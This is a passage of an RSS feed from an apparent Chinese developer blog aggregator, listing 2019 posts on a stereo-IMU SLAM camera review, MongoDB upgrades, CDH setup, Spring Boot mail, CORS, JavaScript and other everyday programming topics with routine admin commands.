      <description>本文转自高翔博士知乎专栏文章《SLAM硬件体验-INDEMIND双目IMU相机》&#xA;很多算法问题本质上是硬件问题。”&#xA;这句话相信很多人都应该有所体验。很多时候你发现自己的算法表现不好，背后的原因其实与算法无关，比如：&#xA;传感器内外参标定不准； 各传感器的时间同步问题； 驱动程序时不时地丢数据或卡顿； 相机视野不够、曝光不稳定；** 诸如此类。所以我准备写一些SLAM相关的硬件体验，主要是指视觉SLAM方面的。近年来国内外出现了不错的双目/RGBD相机，很多还集成IMU器件，二者硬件同步也慢慢成为一种标准的配置。我之前体验过的主要有：&#xA;Stereo lab的ZED；双目相机，自身提供不错的功能比如深度估计和ZED Fusion；&#xA;DUO3d；红外双目相机，集成IMU；&#xA;国内的perceptIn、小觅、远形、INDEMIND，等等。&#xA;我希望这种硬件体验文章能为该方向的读者提供一些选型的指导，方便读者在自己研究的时候作为参考。在这篇文章里，我主要归纳一下INDEMIND出的这款双目相机的体验：&#xA;首先我们明确一下SLAM算法对相机有哪些需求：&#xA;图像频率：图像频率越高越好。频率高，两个图像之间的差异就越小，算法允许的运动速度就越快。无人车上用的相机常见为15Hz，20Hz，普通的约30Hz，60Hz，更快的也有120Hz左右的。&#xA;图像分辨率：常见的有640x480，752x480，1920x1080的。高分辨率图像会影响算法性能，并且分辨率和频率成反比。在SLAM应用里，我们更偏向频率。&#xA;卷帘快门/全局快门。：局快门相机不易产生运动模糊，在SLAM应用中优势较大。&#xA;视野（FoV）：在畸变能够正确校正的情况下，越宽越好。宽视野相机不易被遮挡，也能有效降低白墙、弱纹理区域影响。SLAM中我通常偏好广角（水平120度以上）、鱼眼（180度）乃至全景相机（360度）。&#xA;IMU：通常为MEMS IMU，我们需要有硬件时间同步，因为绝大多数算法无法处理图像数据和IMU存在时延的情况。IMU本身自然在成本范围内，性能越高越好。&#xA;下面我们来看INDEMIND这款双目IMU相机，我拿到的这个是工程版，还没有上罩子：&#xA;它的几个重要参数列举如下：&#xA;两个全局快门相机，灰度图像，输出到USB。&#xA;广角相机，水平视野120度，垂直75度。&#xA;图像在1280x800分辨率下最高达到100Hz，640x400分辨率下最高200Hz，属于高速相机。&#xA;IMU型号为ICM-20602，性能和MPU 6050差不多（Youtube上有一个性能比较视频[1]），最高1000Hz。&#xA;基线12cm，和ZED一致，估计深度范围大约在0.5-20m，可用于室内场景。&#xA;自带深度估计功能，输出深度图像为640x400，25Hz。&#xA;自带SLAM功能，可以读到相机计算的Pose，25Hz。&#xA;定价为999（优惠价799）。&#xA;综合看来，这款相机属于小基线、高频率的双目摄像头，优势在于频率高，且有硬同步的IMU。同时价格方面相比于ZED这类相机要便宜很多。&#xA;配件拿到手里大约是这样，相机本体，一根USB线，两个镜头盖。&#xA;插上USB线之后就能点亮（要是有个架子挂电脑上就更方便了，碎碎念）：&#xA;软件方面，如果是Ubuntu 1604或者1804，可以直接在电脑上测。我用的1804，改了下Demo程序的cmakelist之后就可以测Demo。Demo主要有两项内容：深度图显示以及自带的SLAM功能。以下视频是在我家的小房间内测试：&#xA;视频链接：点击此处&#xA;测试下来，整体感受有以下几条：&#xA;深度图表现和双目算法预期差不多，和RGBD比肯定有一点距离，但是双目稠密深度本来也做不了特别稳定。这个相机的深度图不需要GPU，算是一个优势。&#xA;自带的SLAM是基于角点匹配的，由于广角的存在，通常条件下表现不错。&#xA;在测试环境中出现了几种情况：&#xA;曝光变化。比如窗口在室内看起来很亮，靠近之后曝光会调节到正常水平；&#xA;远景。朝窗外观察时，双目应该测不到深度，退化为单目，但slam还能正常工作；&#xA;快速旋转。由于存在IMU且相机频率较高，可以正常追踪。&#xA;弱纹理。弱纹理对基于特征的方法还是很不友好的。目前这个自带的SLAM在追踪不到时，UI会停止更新，这点还有待加强。&#xA;此外，这个器件也支持接入现有的开源SLAM或者ROS，对SLAM开发者比较友好。&#xA;综合来说，INDEMIND这款相机优缺点列举如下。&#xA;优势： 成本便宜。类似传感器中，ZED价格在2800，DUO3D在5000左右，和小觅的入门版在一个价位。&#xA;相机频率做的很高，对快速运动有优势。&#xA;有硬同步的IMU，频率也够高，自带标定。&#xA;水平120度的广角视野。&#xA;SDK自带SLAM功能。&#xA;缺点：&#xA;目前还没有彩色版本，要做机器学习和感知还需要再加别的传感器。&#xA;希望这篇体验文章对读者的科研、开发有所帮助。我之后也会写一些类似的硬件体验类文章，以供读者查询。</description>
    </item>
    <item>
      <title>mongodb版本升级</title>
      <link>https://bchobby.github.io/posts/23e8324a539900df357288cad0d0cea7/</link>
      <pubDate>Tue, 30 Jul 2019 16:02:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23e8324a539900df357288cad0d0cea7/</guid>
      <description>mongodb版本升级 一、背景&#xA;目前公司的mongodb版本是3.0.6的老版本，公司希望将mongodb版本升级到3.6以上，那么蛋疼了，以前没做过数据库升级，在脑子里的第一反应是要不要重新部署一套mongodb副本集+分片的模式，又或者是可以直接从3.0.6的版本升级到3.6版本以上，经过查阅资料发现，实际mongodb版本升级是需要一步一步来的，需要先升级到3.4版本，再升级到3.6版本。&#xA;3.0 ======&amp;gt; 3.4 ======&amp;gt; 3.6&#xA;二、三个重点需要注意&#xA;1、一定要备份config数据库；&#xA;2、修改认证方式；需要将最新的认证方式SCRAM-SHA-1 改成老的认证方式 MONGODB-CR，老用户依然能正常登陆。&#xA;3、可通过开启认证的方式启动服务，通过老版本用户登陆授权；&#xA;三、环境&#xA;当前mongodb集群三台机器，环境是副本集+分片模式&#xA;mongodb1：分片主1、分片主2、分片主3、config、mongos&#xA;mongodb2：分片副本1、分片副本2、分片副本3、config、mongos&#xA;mongodb3：分片副本1、分片副本2、分片副本3、config、mongos&#xA;四、下载各个版本的mongodb包&#xA;[yukw@mongodb1 mongodbwork3.4]$ wget https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-rhel62-3.4.4.tgz ##下载版本为3.4.4 [yukw@mongodb1 mongodbwork3.4]$ wget https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-rhel62-3.6.5.tgz&#x9;##下载版本为3.6.5 五、下面介绍如何从3.0升级到3.4&#xA;##1、拷贝包到相应目录&#xA;[yukw@mongodb1 mongodbwork3.4]$ mkdir /data/service/mongodbwork3.4 [yukw@mongodb1 mongodbwork3.4]$ cp mongodb-linux-x86_64-rhel62-3.4.4.tgz /data/service/mongodbwork3.4/ ##2、解压压缩包&#xA;[yukw@mongodb1 mongodbwork3.4]$ tar xf mongodb-linux-x86_64-rhel62-3.4.4.tgz [yukw@mongodb1 mongodbwork3.4]$ mv mongodb-linux-x86_64-rhel62-3.4.4 mongodb ##3、停止mongodb服务&#xA;[yukw@mongodb1 mongodbwork3.4]$ ps -ef |grep mongo |grep -v grep | awk &#39;{print $2}&#39; | xargs kill -2 ##每台机器都执行 ##、以3.</description>
    </item>
    <item>
      <title>如何转换音频文件,mp3格式怎么转为wav格式</title>
      <link>https://bchobby.github.io/posts/685574f6202b7380802559d0c3b58aed/</link>
      <pubDate>Tue, 30 Jul 2019 13:32:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/685574f6202b7380802559d0c3b58aed/</guid>
      <description>现在网上有很多音频转换器，小编今天在百度搜索了一下：“音频转换器”，大家猜一下出现了多少个结果？你们肯定猜不到了啦：两百多万个。是不是很多啊？虽然现在转换音频的软件有很多，最主要的是看哪款比较好用，比较实在才是硬道理啊。那今天小编的重点就是音频转换器了。既然上面说到了有这么多搜索结果，小编肯定是货比较硬才敢拿出来晒啊，好不好用大家先看完再评评理吧！！&#xA;方法步骤：&#xA;1、在小编这么有信心的介绍下，赶紧在上面的软件下载地址下载这款音频格式转换器吧。下载好直接解压，找到文件夹里面的执行文件点击运行就行了。&#xA;2、几乎是千篇一律的开始，打开软件肯定先添加文件对吧。那我们先来添加几首比较好听的背景音乐吧。&#xA;3、那接下来就来到了第三个选项，这个选项主要就是对转换格式以及一些相关参数进行设置。首先我们看到“输出格式”设置，我们选择一种格式，点击自定义可以设置其他的一些参数。&#xA;4、接下来大家可以不用再设置什么参数了。我们在设置一下输出目录，更改到一个比较容易找到的位置，这个就看各位的需要了。&#xA;5、然后点击“开始转换”！转换的时候就希望大家能耐心等待一下了。假如文件很多的话需要的时间肯定就会比较长，等到转换完成之后大家直接打开文件目录就行了。&#xA;好了今天的教程大概就到这里了。下面就是小编把转换的文件和没有转换的文件截图出来给大家看一下对比图。相信大家可以清楚的看到这个格式是不一样了。</description>
    </item>
    <item>
      <title>Flink启动报错could not be determined automatically</title>
      <link>https://bchobby.github.io/posts/f7bac93f92d6c36d38c5710e2fc64692/</link>
      <pubDate>Mon, 29 Jul 2019 20:02:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7bac93f92d6c36d38c5710e2fc64692/</guid>
      <description>今天发布Flink应用，报如下错误：&#xA;The return type of function &#39;main(RyeCollectorLauncher.java:77)&#39; could not be determined automatically, due to type erasure. You can give type information hints by using the returns(...) method on the result of the transformation call, or by letting your function implement the &#39;ResultTypeQueryable&#39; interface. org.apache.flink.streaming.api.transformations.StreamTransformation.getOutputType(StreamTransformation.java:420) org.apache.flink.streaming.api.datastream.DataStream.getType(DataStream.java:175) org.apache.flink.streaming.api.datastream.DataStream.union(DataStream.java:217) com.mogujie.traffic.rye.anchor.flink.collector.RyeCollectorLauncher.main(RyeCollectorLauncher.java:104) 根据错误信心定位到出错位置：&#xA;根据错误信息You can give type information hints by using the returns，只需要在后面调用returns方法，然后指明其返回类型即可解决。&#xA;问题已经解决，这里简单记录下，希望可以帮到各位朋友！！！&#xA;补充：&#xA;报错：&#xA;2019-07-30 11:36:46,193 ERROR org.apache.flink.runtime.entrypoint.ClusterEntrypoint - Could not start cluster entrypoint YarnJobClusterEntrypoint.</description>
    </item>
    <item>
      <title>如何解决条码打印机隔张打印问题</title>
      <link>https://bchobby.github.io/posts/dc0d9a5223f7358916d6ddd9c2e29502/</link>
      <pubDate>Mon, 29 Jul 2019 16:57:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc0d9a5223f7358916d6ddd9c2e29502/</guid>
      <description>经常打印标签的小伙伴可能会遇到过，用条码打印软件批量制作的标签，打印预览没有问题，但是用条码打印机打印的时候会出现隔一张打一个标签这种隔张打印的问题，那么，这种情况如何解决呢？接下来我们来看下&#xA;如果出现隔张打印的情况，首先在条码打印软件的文档设置中，点开打印机属性，看一下条码打印软件中设置的纸张大小和条码打印机识别的纸张大小是否一样，如果不一样就改为一样（大小需要根据条码打印机中的标签纸实际大小设置）。&#xA;设置好之后在条码打印软件中打印2张标签做下测试，看是否还会出现隔张打印的情况。&#xA;如果还是出现隔张打印的问题，那就可能是打印机纸张识别问题，按条码打印机上面的走纸键，看出纸是否正常，然后做一下打印机校验。打印机校验之后，再用条打印软件打印标签，条码打印机就不会出现隔张打印的情况。&#xA;以上就是条码打印机出现隔张打印的解决办法，一般只要条码打印机能够正常打印，条码打印软件打印标签的时候就不会出现问题。关于条码打印机校验的方法是不尽相同，打印机不同，校验的方法也不同，具体方法可以参考打印机说明书或者咨询打印机商家。</description>
    </item>
    <item>
      <title>Laya以后遇到的坑，都写在这里 总结用吧</title>
      <link>https://bchobby.github.io/posts/a7d29bde9b0fb63322c34fb5977b7cfb/</link>
      <pubDate>Mon, 29 Jul 2019 15:19:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7d29bde9b0fb63322c34fb5977b7cfb/</guid>
      <description>1.加载fgui的时候 用使用type来指定类型，不然要加载的时候要报错 RangeError: Offset is outside the bounds of the DataView&#xA;{url:&#34;ui/cup/Cup.fui&#34;, type:Laya.Loader.BUFFER},&#xA;{url:&#34;ui/cup/Cup_atlas0.png&#34;, type:Laya.Loader.IMAGE},</description>
    </item>
    <item>
      <title>VSCode正则表达式搜索</title>
      <link>https://bchobby.github.io/posts/77359d927a471115679d5bf9a259dfac/</link>
      <pubDate>Mon, 29 Jul 2019 13:07:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77359d927a471115679d5bf9a259dfac/</guid>
      <description>1.点击.*按钮 2.输入正则表达式 v1/users/(.*).&#39;/addresses&#39; （括号里的为正则表达式的部分(.*)）&#xA;常见正则?&#xA;匹配整数和小数&#xA;\b[0-9]*\.*[0-9]+\b&#xA;去掉空白行&#xA;^\s*(?=\r?$)\n&#xA;匹配十六进制数&#xA;\b0[xX]([0-9a-fA-F])\b&#xA;3.替换 原代码：v1/users/(.*).&#39;/addresses&#39;&#xA;现代码：v3/users/addresses/all?user_id=$1&#xA;其中$1即为匹配到的(.*)的部分&#xA;4.详细信息 参考 ? Visual Studio 中的正则表达式</description>
    </item>
    <item>
      <title>解决foreach异步执行未完成，就执行另一个function的问题</title>
      <link>https://bchobby.github.io/posts/e757d155033a1009b00c7911ed9db57d/</link>
      <pubDate>Mon, 29 Jul 2019 11:42:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e757d155033a1009b00c7911ed9db57d/</guid>
      <description>使用new Promise 方法先执行getOnlineList(),forEach完成后，resolve值，再.then()执行其他function,解决异步执行的问题&#xA;相关代码：&#xA;const getOnlineList = function() {&#xA;//需要先遍历的代码&#xA;return new Promise(function(resolve, reject) {&#xA;vm.onlinelist.forEach(item =&amp;gt; {&#xA;vm.onlinelistLength += item.course_booking.length;&#xA;});&#xA;resolve(vm.onlinelistLength);&#xA;});&#xA;};&#xA;getOnlineList().then(() =&amp;gt; {&#xA;//后续执行代码&#xA;fn &amp;amp;&amp;amp; fn();&#xA;});&#xA;放上修改前后对比图：</description>
    </item>
    <item>
      <title>cdh平台离线搭建（二）</title>
      <link>https://bchobby.github.io/posts/25c30dcc1eecc11c97aaf036aa5f5bc8/</link>
      <pubDate>Mon, 29 Jul 2019 10:41:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25c30dcc1eecc11c97aaf036aa5f5bc8/</guid>
      <description>本文接上文，cdh平台离线搭建（一）：https://blog.csdn.net/weixin_42814075/article/details/97392216&#xA;正式开始cdh平台的有关搭建&#xA;创建本地源 在/var/www/html下创建一个cdh_repo文件夹，并将下载的4个文件上传到该目录下&#xA;打开http://cm-server/cdh_repo/ 可以验证&#xA;其中cm文件夹是解压后的cm5.16.1-centos7.tar.gz&#xA;配置本地yum源,并分发到其它节点&#xA;vim /etc/yum.repos.d/cloudera-manager.repo [cloudera-manager] name = Cloudera Manager, Version 5.7.0 baseurl = http://cm.cdh.com/cdh_repo/cm/5.16.1/ gpgcheck = 0 scp cloudera-manager.repo root@hadoop-1.com:/etc/yum.repos.d/ scp cloudera-manager.repo root@hadoop-2.cdh.com:/etc/yum.repos.d/ 安装CM 进入上述创建的CM的文件目录下&#xA;cd /var/www/html/cdh_repo/cm/5.16.1/RPMS/x86_64 安装cloudera-manager-daemons-5.16.1-1.cm5161.p0.1.el7.x86_64.rpm&#xA;yum install cloudera-manager-daemons-5.16.1-1.cm5161.p0.1.el7.x86_64.rpm 安装cloudera-manager-server-5.16.1-1.cm5161.p0.1.el7.x86_64.rpm&#xA;yum -y install cloudera-manager-server-5.16.1-1.cm5161.p0.1.el7.x86_64.rpm 修改CDH关于数据库的配置文件 vim /etc/cloudera-scm-server/db.properties&#xA;启动cloudera-scm-server服务并查看日志 启动命令：systemctl start cloudera-scm-server.service&#xA;查看状态：systemctl status cloudera-scm-server.service&#xA;查看启动日志：vim /var/log/cloudera-scm-server/cloudera-scm-server.out&#xA;启动成功如下图所示：&#xA;这里列举几种失败报错&#xA;1.java环境变量&#xA;解决方式：在cdh配置文件中指定&#xA;vim /etc/rc.d/init.d/cloudera-scm-server&#xA;export JAVA_HOME=/opt/java/jdk1.8.0_181 2.数据库驱动包加载不到&#xA;Could not load requested class : com.</description>
    </item>
    <item>
      <title>坑到吐血之——springboot发送邮件本地可以服务器不可以</title>
      <link>https://bchobby.github.io/posts/27bfbffc2cebdc6bfff65aace2957c25/</link>
      <pubDate>Mon, 29 Jul 2019 00:22:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27bfbffc2cebdc6bfff65aace2957c25/</guid>
      <description> 正经学徒，佛系记录，不搞事情&#xA;本来今天高高兴兴，你为什么要报这样的错&#xA;状况 本地springboot项目整了一下使用 com.sun.mail &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-mail&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 来发送邮件的服务，在本地做好如下配置&#xA;spring: mail: #服务器地址 host: smtp.qq.com #发送的邮箱账号 username: xxx@qq.com #授权码 password: xxxx default-encoding: UTF-8 properties: mail: debug: true port: 25 具体代码网上一堆一堆的，随便找了一个测试了一下，用起来也贼像我兄弟顺溜， 正高兴的打包成jar部署上服务器，结果问题来了，服务器上邮件死活发送不出去，各种尝试之下，终于发现了问题所在&#xA;解决 道听途说的解释如下：服务器上由于安全策略，不允许使用smtp协议的25端口，因此需要改成经过ssl加密的smtps协议的465端口，配置修改如下，这下顺畅了，不知你们是否遇到这样的问题&#xA;spring: mail: #服务器地址 host: smtp.qq.com #发送的邮箱账号 username: xxx@qq.com #授权码 password: xxxx default-encoding: UTF-8 properties: mail: debug: true smtp: socketFactory: class: javax.net.ssl.SSLSocketFactory port: 465 </description>
    </item>
    <item>
      <title>Anaconda 安装的包如何在 Pycharm 中使用</title>
      <link>https://bchobby.github.io/posts/a5595eaf9cab7d1dacf6d741c3081a2a/</link>
      <pubDate>Sat, 27 Jul 2019 11:29:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5595eaf9cab7d1dacf6d741c3081a2a/</guid>
      <description>Anaconda 安装的包如何在 Pycharm 中使用 Anaconda 安装和管理包特别方便，我们希望 Pycharm 能够和 Anaconda 联合工作，但是经常遇到在 Anaconda 中安装好了包，在 Pycharm 中使用时，提示找不到的错误。大多数原因都是因为我们包安装的位置和我们 Pycharm 工作环境不一致，所以 Pycharm 找不到包。希望看完这篇文章，我们都不会再受这个问题的困扰！&#xA;下文叙述，均基于 Win10 系统，Anaconda3，Pycharm 社区版。&#xA;简介 Anaconda 可以方便地安装、更新、卸载包，而且在安装时能自动安装相应的依赖包，同时还能使用不同的虚拟环境隔离不同要求的项目。通过 Anaconda 可以有效的管理工具包、开发环境、Python 版本，大大简化我们的工作流程。&#xA;Pycharm 是一个功能强大的 Python 编辑器，深的众猿喜爱，废话就不说了…&#xA;两款工具都那么优秀，能结合它们的有点，岂不美哉。&#xA;在 Pycharm 使用 Anaconda 的环境 之前已经写过一篇博客，不再重复，直接贴上链接，点击这里&#xA;刚开始使用的时候，经常遇到各种各样的问题，时时刻刻不想着劝退我们，但作为一名小白程序员，就要敢于手撕各种问题…&#xA;在之后的描述中：Anaconda Path表示你的 Anaconda 安装路径。&#xA;Anaconda Anaconda 工作界面如下图：&#xA;Anaconda 安装的包在什么位置&#xA;Anaconda 安装之后，有一个默认的 base 环境，进入终端之后，显示的界面如下：&#xA;此环境下安装的包会存放在：[Anaconda Path]/Lib/site-packages/ 路径下。&#xA;当我们新建环境之后，比如我图1中的的 tensorflow，在路径 [Anaconda Path]/envs/ 下会看到一个 tensorflow 的文件夹，打开之后会发现和 [Anaconda Path] 目录下的文件很相似。可以联想到，在这个环境下，我们安装的包就会被存放在 [Anaconda Path]/envs/tensorflow/Lib/site-packages/ 路径下。</description>
    </item>
    <item>
      <title>Java实现读取csv文件</title>
      <link>https://bchobby.github.io/posts/d7c7211167e87ca8fdd7537d68db36aa/</link>
      <pubDate>Fri, 26 Jul 2019 23:06:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7c7211167e87ca8fdd7537d68db36aa/</guid>
      <description>目录 什么是CSV文件显示的样子开始写程序程序如下 什么是CSV文件 csv文件只能存储数字或者文字,格式如下&#xA;1,第一行&#xA;2,小明&#xA;注意编码格式&#xA;显示的样子 文件&#xA;然后输入的样子&#xA;开始写程序 程序如下 package com.admin.controller; import java.io.*; import java.util.ArrayList; import java.util.Arrays; import java.util.Iterator; import java.util.List; /** * @desc: 读取csv文件 * @time: 2019年7月26日 22:50 */ public class export_zhong { public static void main(String[] args) { try { //(文件完整路径),编码格式 BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(&#34;C:\\Users\\Coli\\Desktop\\csv文件.csv&#34;), &#34;utf-8&#34;));//GBK // reader.readLine();//显示标题行,没有则注释掉 // System.out.println(reader.readLine()); String line = null; while((line=reader.readLine())!=null){ String item[] = line.split(&#34;,&#34;);//CSV格式文件时候的分割符,我使用的是,号 String last = item[item.</description>
    </item>
    <item>
      <title>五种网站跨域问题解决方案</title>
      <link>https://bchobby.github.io/posts/3bd6a28807b005c00d6b87a73fdb6c2a/</link>
      <pubDate>Fri, 26 Jul 2019 19:03:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bd6a28807b005c00d6b87a73fdb6c2a/</guid>
      <description>一、什么是跨域问题 是两个项目之间使用ajax（前端类似与后端技术httpclient）实现通讯，如果浏览器访问的域名地址和端口号与ajax访问的地址和端口号不一致的情况下，默认情况下浏览器会有安全机制，这个机制就是跨域问题，会造成无法获取到返回结果（但实际还是可以访问的，请求状态码为200，但无法获取到结果）。&#xA;二、跨域问题怎么解决： 跨域问题有如下5中解决方案：&#xA;1、使用jsonp解决 跨域问题（不推荐，因为只能支持get请求，不支持post请求）&#xA;2、使用httpclient进行转发（不推荐，因为效率非常低，会发送两次请求）&#xA;3、设置响应头允许跨域（可以推荐）适合于小公司快速解决问题&#xA;4、使用Nginx搭建API接口网关（强烈推荐）因为保证域名和端口都一致，以项目区分反向代理到真实服务器地址。&#xA;5、使用Zuul微服务搭建API接口网关（强烈推荐）SpringCloud&#xA;网站跨域问题演示：&#xA;新建两个maven项目(xwhy_web_a,xwhy_web_b)，pom类型为war类型。&#xA;pom依赖&#xA;&amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.0.0.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;!-- SpringBoot 对lombok 支持 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- SpringBoot web 核心组件 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-tomcat&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- SpringBoot 外部tomcat支持 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.tomcat.embed&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;tomcat-embed-jasper&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- springboot-log4j --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-log4j&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.3.8.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- springboot-aop 技术 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-aop&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.httpcomponents&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;httpclient&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>echarts  Y轴只显示整数，或保留n位小数</title>
      <link>https://bchobby.github.io/posts/48690a48b4c5b0d9f0aebf8edba3cd62/</link>
      <pubDate>Fri, 26 Jul 2019 09:56:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48690a48b4c5b0d9f0aebf8edba3cd62/</guid>
      <description>yAxis: [ { type: &#39;value&#39;, minInterval: 1//只显示整数 } ], axisLabel: { //保留一位小数 formatter: function (value, index) { return value.toFixed(1); } } 转载于:https://www.cnblogs.com/caoxen/p/11248494.html</description>
    </item>
    <item>
      <title>node卸载问题 ，再次安装注意卸载</title>
      <link>https://bchobby.github.io/posts/1564ca5ffb578c06fdddcd85f57ffde7/</link>
      <pubDate>Thu, 25 Jul 2019 19:29:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1564ca5ffb578c06fdddcd85f57ffde7/</guid>
      <description>node卸载问题 ，再次安装注意卸载 删去 .node_repl_history和.npmrc&#xA;安装后没有。npmrc文件 可以先保存&#xA;看以下配置</description>
    </item>
    <item>
      <title>深入理解javascript原型及原型链</title>
      <link>https://bchobby.github.io/posts/6237fed7d5270d74b7e4c30bc2f96eba/</link>
      <pubDate>Thu, 25 Jul 2019 17:53:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6237fed7d5270d74b7e4c30bc2f96eba/</guid>
      <description>原型及原型链是javascript中非常重要的东西，对看别人源码和自己设计框架和深入理解javascript这门语言特别有用。&#xA;原型及原型链名词解释 prototype 每一个函数都有一个prototype（原型）属性，这个属性是一个指针，指向了一个对象，而这个对象的用途就是包含可以由特定类型的所有实例共享的属性和方法。&#xA;proto 所有引用类型（函数，数组，对象）都拥有__proto__属性。JavaScript 只有一种结构：对象。每个实例对象（ object ）都有一个私有属性（称之为 proto ）指向它的构造函数的原型对象（prototype ）。&#xA;proto 属性是JavaScript 的非标准但许多浏览器实现的属性__proto__&#xA;原型对象 拥有prototype属性的对象，在定义函数时就被创建&#xA;prototype原型 原型是Javascript中的继承的基础，JavaScript的继承就是基于原型的继承。&#xA;Javascript的继承机制基于原型，而不是Class类。&#xA;函数和对象的关系 function fun1(){}; let fun2 = function(){}; let fun3 = new Function(&#39;content&#39;,&#39;console.log(content)&#39;); let obj1 = new fun1(); let obj2 = {}; let obj3 =new Object(); console.log(typeof Object); //function console.log(typeof Function); //function console.log(typeof Array); //function // Object Function和 Array 都是函数 console.log(typeof obj1); //object console.log(typeof obj2); //object console.log(typeof obj3); //object console.log(typeof fun1); //function console.</description>
    </item>
    <item>
      <title>解决微信开发者工具报错：当前开发者未绑定此AppID,请到小程序后台操作重试</title>
      <link>https://bchobby.github.io/posts/1fd33f1a09510827962ebb3641f93ba5/</link>
      <pubDate>Thu, 25 Jul 2019 15:47:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fd33f1a09510827962ebb3641f93ba5/</guid>
      <description>解决微信开发者工具报错：当前开发者未绑定此AppID,请到小程序后台操作重试 首先要在微信公众平台注册小程序账号，注意与公众号（订阅号）账号区别开来，小程序账号不是公众号账号，登录后小程序账号的界面是这样的：&#xA;然后用点击上图的添加开发者进入到如下界面：&#xA;邀请登录微信开发者工具的微信 成为该小程序的开发者后就解决该问题了。&#xA;要注意的是：&#xA;1.区分公众号的AppID与小程序的AppID,他们登录微信开放平台的账号是不一样的，登录后的主界面也是不一样的&#xA;2.获取小程序的AppID:</description>
    </item>
    <item>
      <title>redis 集群搭建总结一些好的博客</title>
      <link>https://bchobby.github.io/posts/84e8c6a00ea64ecb6c695c228a967aa3/</link>
      <pubDate>Wed, 24 Jul 2019 19:39:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84e8c6a00ea64ecb6c695c228a967aa3/</guid>
      <description>1.https://blog.csdn.net/qq_42815754/article/details/82912130&#xA;2. https://www.cnblogs.com/wuxl360/p/5920330.html&#xA;3.这篇比较好 《深入剖析Redis - Redis集群模式搭建与原理详解》 可以作为分享内容。详细讲解了Redis 分布式的两种方案。Redis Cluster 集群模式通常具有 高可用、可扩展性、分布式、容错 等特性。&#xA;https://www.jianshu.com/p/84dbb25cc8dc&#xA;4. 超详细的Redis集群搭建方案&#xA;https://www.cnblogs.com/mafly/p/redis_cluster.html&#xA;5. ruby的安装博客 1&#xA;http://www.ruby-lang.org/zh_cn/documentation/installation/&#xA;安装博客 2&#xA;https://www.cnblogs.com/xuliangxing/p/7132656.html&#xA;ruby 的下载地址：&#xA;https://cache.ruby-lang.org/pub/ruby/2.6/ruby-2.6.3.tar.gz</description>
    </item>
    <item>
      <title>三、mybatis中typehandler详解</title>
      <link>https://bchobby.github.io/posts/7087a2ef667029ea660b4619714a43fd/</link>
      <pubDate>Wed, 24 Jul 2019 16:00:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7087a2ef667029ea660b4619714a43fd/</guid>
